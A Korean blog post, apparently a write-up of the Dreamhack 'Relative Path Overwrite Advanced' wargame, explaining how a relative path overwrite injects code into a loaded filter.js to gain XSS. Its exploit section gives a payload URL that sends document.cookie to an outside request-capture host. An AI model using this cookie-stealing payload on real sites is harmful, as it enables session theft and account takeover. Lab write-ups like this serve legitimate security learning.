2003
[Wargame] Dreamhack Relative Path Overwrite Advanced 본문
자바스크립트와 연계
먼저 자바스크립트를 예로 들어보겠습니다. 만약 RPO 취약점으로 로드하는 자바스크립트 코드의 앞 부분을 공격자가 조작할 수 있다면, XSS 공격으로의 연계가 가능합니다. 예를 들어 공격자가 RPO 취약점을 통해 원래 /static/script.js로 로드되어야 할 파일을 /USER_INPUT/static/script.js의 형태로 로드할 수 있을 때 서버에서 /USER_INPUT/static/script.js가 포함된 채로 반환한다면 XSS 공격이 가능합니다.
이 경우 공격자는 USER_INPUT 부분을 조작하여 index.php/;alert(1);//static/script.js와 같은 형태로 경로를 구성한다면 해당 내용이 script 태그의 src로 들어가 alert(1); 이라는 코드를 실행하는 것이 가능합니다. 여기서 ;를 사용하여 statement가 끝이라는 것을 알려주고 //를 이용하여 자바스크립트에서 해석할 수 없는 단순 문자열을 주석처리합니다. 이처럼 자바스크립트는 로드하는 코드 내에서 에러가 발생할 경우, 전체 코드를 실행하지 않기 때문에 문법 에러가 발생하지 않도록 신경써야 합니다.
Vuln page

그냥 접속했을 때, "filter.js" 라는 파일을 불러옵니다.
해당 파일의 내용은 다음과 같습니다.

경로에 index.php라는 경로를 추가 시, filter.js 파일의 내용에 다음과 같이 index.php가 존재합니다.


즉, filter.js의 내용에 사용자 입력이 삽입되어, 해당 스크립트 파일을 이용해 XSS 공격이 가능합니다.
Exploit
Report 페이지에서 다음과 같은 페이로드를 사용해 쿠키를 외부 웹 서버로 전송하여 플래그를 얻을 수 있었습니다.
http://host3.dreamhack.games:13587/index.php/;location.href='https://sbszwyh.request.dreamhack.games/'+document.cookie;//?page=vuln¶m=dreamhack
/index.php/;
location.href='https://sbszwyh.request.dreamhack.games/'+document.cookie;
//filter.js not found.
불러와지는 filter.js 파일의 내용이 위와 같이 되어
위에서 구문을 한번 분리하고, 삽입한 스크립트가 실행되고, 그 이후의 내용은 주석 처리되기 때문에 에러 없이 실행됩니다.

'보안 > WEB' 카테고리의 다른 글
| [Wargame] Dreamhack DOM XSS (0) | 2024.04.05 |
|---|---|
| [Wargame] Client Side Template Injection (0) | 2024.04.02 |
| [WEB] CSTI(Client Side Template Injection) 취약점 (0) | 2024.02.21 |
| [Wargame] Dreamhack CSRF Advanced (0) | 2024.02.16 |
| [Wargame] CSP Bypass Advanced (0) | 2024.02.14 |